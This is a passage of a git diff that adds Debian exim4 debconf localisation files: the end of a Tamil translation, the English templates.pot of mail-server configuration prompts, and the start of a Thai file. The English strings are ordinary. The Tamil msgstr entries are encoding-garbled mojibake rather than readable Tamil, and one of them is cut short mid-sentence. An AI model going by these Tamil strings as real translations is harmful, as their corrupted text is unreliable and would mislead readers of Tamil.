+"அரைப௠பà¯à®³à¯à®³à®¿à®•à®³à®¾à®²à¯ பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ ஒர௠à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿ படà¯à®Ÿà®¿à®¯à®²à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•. எகà¯à®¸à¯ இம௠எஸெமà¯à®Ÿà®¿à®ªà®¿ "
+"கேடà¯à®ªà®¾à®©à¯ கிஙà¯à®•à®°à®©à¯ இஙà¯à®•à¯ படà¯à®Ÿà®¿à®¯à®²à®¿à®Ÿà¯à®Ÿ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®•à®³à¯ˆ எதிரà¯à®¨à¯‹à®•à¯à®•à®¿ கேடà¯à®Ÿà¯ இரà¯à®•à¯à®•à¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"காலியான மதிபà¯à®ªà¯ எகà¯à®¸à¯ இம௠஠வலைபà¯à®ªà®¿à®©à¯à®©à®²à¯ இடை à®®à¯à®•à®¤à¯à®¤à®¿à®²à¯ உளà¯à®³ எலà¯à®²à®¾ இணைபà¯à®ªà¯à®•à®³à®¿à®²à¯à®®à¯ கேடà¯à®• "
+"வைகà¯à®•à¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"இநà¯à®¤ கணினி பெசà¯à®®à¯†à®¯à¯à®²à¯ போனà¯à®± உள௠அமை சேவைகளிடமிரà¯à®¨à¯à®¤à¯‹ அலà¯à®²à®¤à¯ உஙà¯à®•à®³à¯ அஞà¯à®šà®²à¯ நிரல௠"
+"உளà¯à®ªà¯à®°à®µà®²à®¿à®©à®¿à®Ÿà®®à¯ (வெளி பà¯à®°à®µà®²à®©à¯ அலà¯à®²) பேசà¯à®µà®¤à¯‹ போனà¯à®± அஞà¯à®šà®²à¯à®•à®³à¯ˆ மடà¯à®Ÿà¯à®®à¯ பெறà¯à®®à®¾à®©à®¾à®²à¯, உளà¯à®³à®®à¯ˆ "
+"எகà¯à®¸à¯ இம௠கிஙà¯à®•à®°à®©à¯à®•à¯à®•à¯ வெளி இணைபà¯à®ªà¯à®•à¯à®•à®³à¯ˆ தடà¯à®¤à¯à®¤à®²à¯ சாலச௠சிறநà¯à®¤à®¤à¯. இதை செயà¯à®¯ இஙà¯à®•à¯ "
+"127.0.0.1 என உளà¯à®³à®¿à®Ÿà¯à®™à¯à®•à®³à¯. அத௠பொத௠இடை à®®à¯à®•à®™à¯à®•à®³à®¿à®²à¯ ஒடà¯à®Ÿà¯à®•à¯ கேடà¯à®ªà®¤à¯ˆ செயல௠நீகà¯à®•à¯à®®à¯."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr ""
+"டிஎனà¯à®Žà®¸à¯ -கேளà¯à®µà®¿à®•à®³à¯ˆ à®®à¯à®Ÿà®¿à®¨à¯à®¤ வரை கà¯à®±à¯ˆà®µà®¾à®• வைதà¯à®¤à¯à®•à¯ கொளà¯à®•. (தேவையான போத௠டயல௠செயà¯à®¯?)"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"சதாரண பாணி எகà¯à®¸à¯ இம௠செயல௠டிஎனà¯à®Žà®¸à¯ ஠தà¯à®µà®•à¯à®•à®¤à¯à®¤à®¿à®©à¯ போதà¯à®®à¯ செயà¯à®¤à®¿à®•à®³à¯ˆ பெறà¯à®®à¯ போதà¯à®®à¯ அனà¯à®ªà¯à®ªà¯à®®à¯ "
+"போதà¯à®®à¯ பாரà¯à®•à¯à®•à¯à®®à¯. இத௠பதிவேடà¯à®Ÿà®¿à®²à¯ பதிவ௠செயà¯à®¯à®µà¯à®®à¯ வடிவமைபà¯à®ªà®¿à®²à¯ மதிபà¯à®ªà¯ எணà¯à®•à®³à¯ˆ கà¯à®±à®¿à®ªà¯à®ªà®¤à¯ˆ "
+"கà¯à®±à¯ˆà®•à¯à®•à®µà¯à®®à¯ பயன௠படà¯à®®à¯. "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"இநà¯à®¤ கணினிகà¯à®•à¯ à®®à¯à®´à¯ டிஎனà¯à®Žà®¸à¯ சேவை தீரà¯à®ªà¯à®ªà®¿ எலà¯à®² நேரஙà¯à®•à®³à®¿à®²à¯à®®à¯ இலà¯à®²à¯ˆ எனில௠(உதாரணமாக டயல௠"
+"அப௠இணைபà¯à®ªà¯‹ அலà¯à®²à®¤à¯ டயல௠ஆன௠டிமாணà¯à®Ÿà¯ இணைபà¯à®ªà¯‹à®¤à®¾à®©à¯ இணய இணைபà¯à®ªà¯ எனிலà¯) இதனால௠விரà¯à®®à¯à®ªà®¤à¯ தகாத "
+"நிகழà¯à®µà¯à®•à®³à¯ à®à®±à¯à®ªà®Ÿà®²à®¾à®®à¯. உதாரணமாக செயà¯à®¤à®¿à®•à®³à¯ இலà¯à®²à®¾à®¤ போதà¯à®®à¯ எகà¯à®¸à¯ இம௠஠தà¯à®µà®•à¯à®•à®¿ ஓடà¯à®Ÿà¯à®µà®¤à¯ "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"இநà¯à®¤ கணினி டயல௠ஆன௠டிமாணà¯à®Ÿà¯ à®®à¯à®±à¯ˆà®¯à¯ˆ பயன௠படà¯à®¤à¯à®¤à¯à®®à®¾à®©à®¾à®²à¯ இநà¯à®¤ தேரà¯à®µà¯ˆ தேரà¯à®¨à¯à®¤à¯†à®Ÿà¯à®•à¯à®• வேணà¯à®Ÿà¯à®®à¯. "
+"மாறà¯à®±à®¾à®• எபà¯à®ªà¯‹à®¤à¯à®®à¯‡ வலையà¯à®Ÿà®©à¯ இணைகà¯à®•à®ªà¯ படà¯à®Ÿà¯ இரà¯à®ªà¯à®ªà®¿à®©à¯ இநà¯à®¤ தேரà¯à®µà¯ˆ செயல௠நீகà¯à®•à®®à¯ செயà¯à®¯ வேணà¯à®Ÿà¯à®®à¯."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "அஞà¯à®šà®²à¯ சேவையக வடிவமைபà¯à®ªà¯"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "வடிவமைபà¯à®ªà¯ˆ சிற௠கோபà¯à®ªà¯à®•à®³à®¾à®• பிரிகà¯à®•à®µà®¾?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"டெபியன௠எகà¯à®¸à¯à®‡à®®à¯4 பொதிகள௠'பிரிகà¯à®•à®ªà¯ படாத வடிவமைபà¯à®ªà¯ˆà®¯à¯‹' (ஒரே பெரிய கோபà¯à®ªà®¾à®© /etc/exim4/"
+"exim4.conf.template) அலà¯à®²à®¤à¯ எகà¯à®¸à¯ இம௠வடிவமைபà¯à®ªà¯ கோபà¯à®ªà¯à®•à®³à¯ /etc/exim4/conf.d/ "
+"யிலிரà¯à®¨à¯à®¤à¯ 50 சிற௠கோபà¯à®ªà¯à®•à®³à®¿à®²à®¿à®°à¯à®¨à¯à®¤à¯ தொகà¯à®•à¯à®•à®ªà¯à®ªà®Ÿà¯ 'பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ வடிவமைபà¯à®ªà¯ˆà®¯à¯‹' பயன௠"
+"படà¯à®¤à¯à®¤à¯à®µà®¤à®¾à®•à®µà¯‹ இரà¯à®•à¯à®•à®•à¯ கூடà¯à®®à¯."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"பெரிய அளவில௠மாறà¯à®¤à®²à¯à®•à®³à¯à®•à¯à®•à¯ வசதியாக இரà¯à®ªà¯à®ªà®¤à®¾à®²à¯à®®à¯ பொதà¯à®µà®¾à®• மேலà¯à®®à¯ உறà¯à®¤à®¿à®¯à®¾à®• "
+"இரà¯à®ªà¯à®ªà®¤à®¾à®²à¯à®®à¯ பிரிகà¯à®•à®ªà¯ படாத வடிவமைபà¯à®ªà¯‡ நலà¯à®²à®¤à¯. பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ வடிவமைபà¯à®ªà®¿à®²à¯ சà¯à®²à®ªà®®à®¾à®• சிற௠"
+"மாறà¯à®¤à®²à¯à®•à®³à¯ˆà®šà¯ செயà¯à®¯à®²à®¾à®®à¯. ஆனால௠இத௠மேலà¯à®®à¯ மெலிதானதà¯. கவனகà¯à®•à¯à®±à¯ˆà®µà®¾à®• மாறà¯à®¤à®²à¯à®•à®³à¯ˆà®šà¯ செயà¯à®¤à®¾à®²à¯ "
+"இத௠சிதைநà¯à®¤à¯ விடக௠கூடà¯à®®à¯."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"பிரிதà¯à®¤ பிரிகà¯à®•à®¾à®¤ வடிவமைபà¯à®ªà¯à®•à®³à¯ பறà¯à®±à®¿ /usr/share/doc/exim4-base/ இல௠டெபியனà¯à®•à¯à®•à®¾à®© "
+"README கோபà¯à®ªà¯à®•à®³à®¿à®²à¯ மேலà¯à®®à¯ விரிவான விவாதஙà¯à®•à®³à¯ உளà¯à®³à®©."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "வெளிசà¯à®šà¯†à®²à¯à®²à¯à®®à¯ அஞà¯à®šà®²à®¿à®²à¯ உள௠அஞà¯à®šà®²à¯ பெயரை மறைகà¯à®•à®µà®¾?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"வேற௠கணினியிலிரà¯à®¨à¯à®¤à¯ அனà¯à®ªà¯à®ªà¯à®µà®¤à¯ போல தோறà¯à®±à®®à®³à®¿à®•à¯à®•à¯à®®à¯à®ªà®Ÿà®¿ அஞà¯à®šà®²à¯à®•à®³à®¿à®©à¯ தலைபà¯à®ªà¯à®•à¯à®•à®³à¯ˆ மாறà¯à®±à®¿ "
+"எழà¯à®¤ இயலà¯à®®à¯. இநà¯à®¤ தேரà¯à®µà¯ˆ தேரà¯à®¨à¯à®¤à®¾à®²à¯ அனà¯à®ªà¯à®ªà¯à®©à®°à¯ (From,), பதில௠எழà¯à®¤(Reply-To), "
+"அனà¯à®ªà¯à®ªà¯à®©à®°à¯ மறà¯à®±à¯à®®à¯ திரà¯à®ªà¯à®ªà¯à®ªà¯ பாதை (Sender and Return-Path) ஆகியவறà¯à®±à®¿à®²à¯ "
+"'${mailname}', 'localhost' மறà¯à®±à¯à®®à¯ '${dc_other_hostnames}' ஆகியவை மாறà¯à®±à®¿ எழà¯à®¤à®ªà¯ "
+"படà¯à®®à¯."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr " /var/mail/ இல௠எமà¯à®ªà®¾à®•à¯à®¸à¯ à®’à®´à¯à®™à¯à®•à¯"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "இலà¯à®² அடைவில௠அஞà¯à®šà®²à¯ அடைவ௠ஒழà¯à®™à¯à®•à¯"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "உள௠அஞà¯à®šà®²à¯à®•à¯à®•à¯ வினியோக à®®à¯à®±à¯ˆ:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"எகà¯à®¸à¯ இம௠ஆல௠உள௠அஞà¯à®šà®²à¯à®•à¯à®•à¯ வெவà¯à®µà¯‡à®±à¯ à®’à®´à¯à®™à¯à®•à¯ à®®à¯à®±à¯ˆà®•à®³à¯ˆ வைகà¯à®• இயலà¯à®®à¯. வழகà¯à®•à®®à®¾à®• பயனà¯à®ªà®Ÿà¯à®µà®¤à¯ "
+"எமà¯à®ªà®¾à®•à¯à®¸à¯ மறà¯à®±à¯à®®à¯ மெயிலà¯à®Ÿà®¿à®°à¯ எமà¯à®ªà®¾à®•à¯à®¸à¯ à®®à¯à®´à¯à®®à¯ˆà®¯à®¾à®© அஞà¯à®šà®²à¯ அடைவà¯à®•à¯à®•à¯ /var/mail/இல௠ஒரே ஒர௠"
+"கோபà¯à®ªà¯ˆ பயன௠படà¯à®¤à¯à®¤à¯à®•à®¿à®±à®¤à¯. மெயிலà¯à®Ÿà®¿à®°à¯ à®’à®´à¯à®™à¯à®•à®¿à®²à¯ ஒவà¯à®µà¯Šà®°à¯ அஞà¯à®šà®²à¯à®®à¯ ~/Maildir/. அடைவில௠"
+"தனிதà¯à®¤à®©à®¿à®•à¯ கோபà¯à®ªà®¿à®²à¯ சேமிகà¯à®•à®ªà¯ படà¯à®•à®¿à®±à®¤à¯."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"டெபியன௠இல௠பெரà¯à®®à¯à®ªà®¾à®²à®¾à®© அஞà¯à®šà®²à¯ கரà¯à®µà®¿à®•à®³à¯ உள௠அஞà¯à®šà®²à¯ வினியோகம௠மà¯à®©à¯à®©à®¿à®°à¯à®ªà¯à®ªà®¾à®• எமà¯à®ªà®¾à®•à¯à®¸à¯ ஆக "
+"இரà¯à®•à¯à®• வேணà¯à®Ÿà¯à®®à¯ என எதிர௠பாரà¯à®•à¯à®•à®¿à®©à¯à®±à®© என அறியவà¯à®®à¯."
diff --git a/debian/po/templates.pot b/debian/po/templates.pot
new file mode 100644
index 0000000..86217da
--- /dev/null
+++ b/debian/po/templates.pot
@@ -0,0 +1,518 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
diff --git a/debian/po/th.po b/debian/po/th.po
new file mode 100644
index 0000000..dc2bc8a
--- /dev/null
+++ b/debian/po/th.po
@@ -0,0 +1,752 @@
+# Thai translation of exim4.
+# Copyright (C) 2006-2007 Software in the Public Interest, Inc.
+# This file is distributed under the same license as the exim4 package.
+# Theppitak Karoonboonyanan <thep@linux.thai.net>, 2006-2007.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
